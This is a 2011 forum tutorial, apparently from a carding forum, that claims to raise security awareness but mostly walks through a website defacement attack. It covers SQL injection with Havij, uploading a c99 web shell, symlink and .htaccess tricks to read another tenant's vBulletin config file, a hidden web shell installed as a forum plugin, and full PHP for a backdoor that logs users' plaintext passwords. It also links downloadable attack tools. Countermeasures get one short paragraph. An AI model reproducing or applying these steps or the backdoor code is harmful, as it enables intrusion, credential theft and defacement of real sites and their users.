i. what are script-kiddies and how do they hack(deface)?

a script kiddie or skiddie, occasionally skid, script bunny, script kitty, script-running juvenile (srj) or similar, is a derogatory term used to describe those who use scripts or programs developed by others to attack computer systems and networks and deface websites. – wikipedia (http://en.wikipedia.org/wiki/script_kiddie)
this article explains the various methods through which script-kiddies and black hat wannabes deface websites in 2011. i have aimed at security awareness for site owners, hosting administrators and the public of carder.pro. how did your website get defaced? keep on reading and you will find out.
this is for educational purposes only. you may re-distribute freely without changing my name or the content.


ii. deface statistics

what is a (website) deface?
a website defacement is an attack on a website that changes the visual appearance of the site or a webpage. these are typically the work of system wannabe black/grey hat hackers, who break into a web server and replace the hosted website with one of their own. – wikipedia (http://en.wikipedia.org/wiki/website_defacement).
after the index page of a website has been replaced with a “deface” there is a growing trend among script-kiddies to submit their deface to
code:
http://www.zone-h.org
which is the biggest deface archiver (maybe this way their e-penis gets bigger?). zone-h has provided a great article/analyze of the defacements in 2010 (http://www.zone-h.org/news/id/4737) which i recommend reading. if you want to see statistics through 2011 then you can visit their statistics page(http://www.zone-h.org/stats/ymd). the peak was in 2010 which means that most attacks occurred then but we should not forget that on-going attacks against the business, corporations and others are still ongoing in the background. the big publicity that script-kiddy groups like lulzsec and anonymous get, is just revealing to some extend how many attacks are happening all the day (with and without defacement).
overall, why are defacements occurring more and more? because information is more widely shared, technologies are being developed rapidly and as the security industry continues to grow, there is always someone to exploit whatever new is on the market.


iii. the “skid” attack

how does one cycle of “a skid attack” look like?
to begin with, script-kiddies love sqli (sql injections) especially when they use automated tools like havij (http://www.itsecteam.com) to exploit these vulnerabilities. after injecting a security hole with havij, they get administrator access through the data in the database. a pre-final step would be “raising” a shell and if they have some local kernel exploit for the server they try to get root, if not, start defacing one by one. i am going to discuss the various methods which an attacker such as the “skiddie” can use to deface your website. they are no masters or wizards of security, i am going to prove that to you as well as how lame they really are.

1. attack types
there are 3 types of reasons for attack – targeted, for “reputation” and fusion between these two. the first one is when you have personal conflicts with the site owner or you don’t like the content and the second one is when you mass-deface websites (feeling more 1337 i guess?). i am going to write about the fusion attack, first we shall target a specific website, after we have defaced it, we will get root status and mass deface. (of course, it will be with example scenario)

2. finding our target
let us presume g00d-f0rum.net is our target which content and owner we don’t admire and want to “give him a lesson”.(for this occasion only we are the evil script-kiddie)

2.1 is it on shared hosting?
to check whether our target is “hackable” we check if there are other domains on this server:
domain tools reverse ip - http://www.domaintools.com/research/reverse-ip/
yougetsignal reverse ip - http://www.yougetsignal.com/tools/we...on-web-server/
webhosting.info reverse ip - http://whois.webhosting.info/
and many others…
we are going to use the first one since it is the most accurate of all. we go to the url and input our target domain (g00d-f0rum.net in our case). the results should be something similar:


2.2 attacking the shared hosting
it doesn’t take much skill to attack the website on the shared hosting. we go to bing (http://www.bing.com/) and input “ip:targetip” and all of the websites are now listed. how to find our special sqli security hole? we will add “id=” (or any other dork but this is the most commonly used) so that it is “ip:targetip id=” and we start checking them one by one.


those in red are what the script-kiddie is most likely to “havij” because of their unique/custom urls (custom coded php = vulnerable in most cases). we have:
csr.php?sub=dir&show=1&company_?id=33
view_news.php?id=144
pressrelease.php?lang=en&?id=00000.txt

we put the first one into havij and wait for result… nothing. we input the second one… success! now that our tool has injected the vulnerability we click “get tables” (we choose table like admin_users), “get columns” , then we chose columns we want to extract (in our case pass, username,id) and “get data”.


now the script-kiddie must find the administrator/login page, there are various tools (online ones too) to find it for you (google " online admin page finder" or related). assuming that we have found the page, we login via the credentials we have obtained from the sqli attack.


we upload a c99 shell and now comes the interesting part…

2.3 attacking our target
we, as the script-kiddie had set g00d-f0rum.net as our target, remember ? we broke into another website on the same server(we knew that through reverse ip), uploaded a shell(example directory of shell is /home/example/public_html/content_images/c99.php) and now we are going to hack and deface our victim.

2.3.1 security problems
once uploaded the c99 shell we might see that the host has denied some functions like phpinfo, system() etc. and safe_mode is switched to on. these features are put as "security" in place but in the majority of cases, they are easily bypassed. one of the easiest ways is to grab the php.ini of the server and modify it so that no functions are disable and safe_mode shows off. you can do that by creating a php file with the following content:
code:
<?php
phpinfo();
?>
now save it as info.php (for example) and enter it through your browser. you will see exactly where php.ini is hosted on (/etc/php5/php.ini for example).

2.3.2 identifying path of the target in the server
on one server there could be hundreds or even thousands of websites so to know in which directory is g00d-f0rum.net we dump the content of /etc/passwd (there is button on c99, r57 etc. shells if you are a newbie). we try looking for the first words of the domain “g00d” and the result comes up directly /home/g00df0r/ is the directory we need. now g00d-f0rum.net (example!) runs vbulletin 4.1.4 (which is patched against the search ui sqli but not to other vulnerabilities i have found...) and by googling we know that the configuration file which holds the mysql credentials to their database is in /includes/config.php (by default). the vbulletin suite (and most web applications) use mysql database to store usernames, passwords, posts etc. (so that you understand why we need it). our idea is to break in and get username, password and hash and try cracking them or even faster, replacing the admin email with our own and requesting password restore.
note:on such attack timing is important. if he is online and you do this, you might end his session which will raise the level of awarness that something is wrong.
there are various ways to obtain the config.php file, i’m going to list just 2 of them.

2.3.3 symlink
in computing, a symbolic link (also symlink or soft link) is a special type of file that contains a reference to another file or directory in the form of an absolute or relative path and that affects pathname resolution. – wikipedia (http://en.wikipedia.org/wiki/symbolic_link). if you are not familiar with symlink i strongly advise you to read that article.
we are going to issue a “ln –s” on the default configuration file of vbulletin and to put it into our directory, renamed as text file(to be viewable). to do that we do in the c99, r57 or whatever shell “execute command” space:
code:
ln -s /home/g00df0r/public_html/includes/config.php g00df0r.txt
our shell is in content_images folder meaning that if we execute (in the same space in the shell as the previous command)
code:
cat g00df0r.txt
we will get the content of their configuration file (if it exists). later in the article i will show you how hackers upload a shell through the vbulletin admin panel.

2.3.4 “protected” config.php via .htaccess
what if our the site owner has placed the following .htaccess in the includes directory?:
code:
<files config.php>
order allow,
denydeny from all
</files>
we try the same attack as above but we get a 403 forbidden when we access g00df0r.txt. hackers have been creative and script-kiddies have obtained their methods and know how to bypass this. we create a directory called “hax” and go to it(via c99 or the shell). we place the following .htaccess in our current directory /home/example/public_html/content_images/hax:
code:
headername g00df0r.txt
now we try again the symlink attack but this time in the “hax” folder and we get the configuration file once more. “no security admin” as some of script-kiddies deface pages say.

2.3.4 symlink drive-thru
note: you can name the attack however you like, it’s most understandable for me with this name.
the most easiest way of all is the symlink driver-thru attack – it doesn’t require much typing aka script-kiddie friendly. currently we are in /home/example/public_html/content_images/ and we create a directory called “drive-thru” and enter it.
we issue the following command:
code:
ln –s / root
afterwards we put the following .htaccess file in the “drive-thru” directory.
code:
options indexes followsymlinks
directoryindex test.htm
addtype txt .php
addhandler txt .php
let’s presume that we have hacked into example-blablabla.com (/home/example/). we made the symlink in /home/example/public_html/content_images/drive-thru which is http://www.example-blablabla.com/con...es/drive-thru/ . we did a symlink, remember? so it would be example-blablabla.com/content_images/drive-thru/root/ … got the idea? now it is easy as navigating to the file (it is normal to give 403 forbidden on /home/g00df0r/)
example-blablabla.com/content_images/drive-thru/root/home/g00df0r/public_html/includes via our browser and clicking on config.php. but we do get a blank page? yes, we simply view the source code and the mysql credentials are there.
next we connect via some mysql php connector and tamper the database…

2.4 getting a shell on our target
let us presume that we have a vbulletin installation on g00d-f0rum.net . to gain administrator access we crack the hash of the admin or we replace his email with ours and reset the password (as said above). either way we know the administrator username and password so next thing we have to do is login into the admin panel which by default is g00d-f0rum.net/admincp (or you can try exploring folders via the symlink drive-thru method).
now the question which comes to the script-kiddie is “how do i upload a shell that isn’t visible (not to tamper templates)?”. apparently they have leeched from someone a way for this as well – via the webshell 2.0(check download link in reference/interesting). you can scan it at virustotal or wherever you wish, it’s clean.
open cmd.txt and copy its content without the php tags, following this you go to “plugins and products” (admincp) -> add new plugin and fill in as it says:
code:
product: vbulletin
hook location: ajax_complete
title: default plugin
execution order: 5
plugin php code: (now paste what you copied from cmd.txt without the php tags!)
plugin is active: yes
you have probably already guessed what to do next but either way i am going to explain. open up webshellv2.exe, in webshell url put (as in our example) http://www.g00d-f0rum.net/ajax.php and blank out the webshell source url box.
note: why ajax.php? because of the hook location we have specified ajax_complete.
next you hit run webshell and you have remote shell without anyone knowing because if you do browse to http://www.g00d-f0rum.net/ajax.php you will get a blank page on your screen. then you just deface.

2.5 “additional evilness”
what more could have the script-kiddies do? well, instead of cracking the passwords one by one they could have left a backdoor which will log all users credentials in clear text which would lead to “hacking” and abuse of emails and users themselves.
(author: decrew, http://r00tsecurity.org/forums/topic...g-via-plugins/)
you'll have to add two plugins through the vbulletin admin panel.

first plugin:
code:
hook location: global_start
execution order: 5
plugin php code:
$show['nopasswordempty'] = true;
second plugin:
code:
hook location: login_process
execution order: 5
plugin php code:
$lg_username = strtolower($vbulletin->gpc["vb_login_username"]);
$lg_password = $vbulletin->gpc["vb_login_password"];
$lg_file = "./includes/lg.html";
$sql_query = @mysql_query("select * from " . table_prefix . "user where username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 and strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
}
2.6 rooting and mass deface
if the output of “uname –a” doesn’t match any kernel exploit that skids have in their downloaded from the internet collection, they simply give up. but if they have the right exploit, they do not hesitate to use it and get root. then they launch something similar to mass.pl (see download in reference/interesting) and submit the mass deface again to zone-h. in other articles i will show you how to root step-by-step
note:there is a "auto-rooter 2011" by r00tworm, i haven't checked it out yet but seems legit, of course, always deal with caution.


iii. counter-measures
since such attacks as those above have been happening for years now, hosting providers must already apply appropriate security on their shared hosting servers. many things could be implied such as openbase_dir function in php, suphp, disabling non-used functions in php and setting a global php.ini that can’t be overwritten but still they aren't enough.

the counter-measure i would like to show web hosting companies is cloudlinux (http://cloudlinux.com/). there is no need to copy and paste what cloudlinux does, better yet just visit their website.


iv. reference/interesting
http://en.wikipedia.org/wiki/script_kiddie
http://en.wikipedia.org/wiki/website_defacement
http://www.zone-h.org/news/id/4737
http://www.itsecteam.com
http://www.domaintools.com/research/reverse-ip/
http://www.yougetsignal.com/tools/we...on-web-server/
http://whois.webhosting.info/
http://www.bing.com/
http://en.wikipedia.org/wiki/symbolic_link
http://r00tsecurity.org/forums/topic...g-via-plugins/
mass.pl and webshell (password:carder.pro) - http://www.mediafire.com/?086ib535d01q5rf

i would be greatful if you leave feedback! also can someone translates this to russian and posts in appropriate section? thank you in advance.
~kns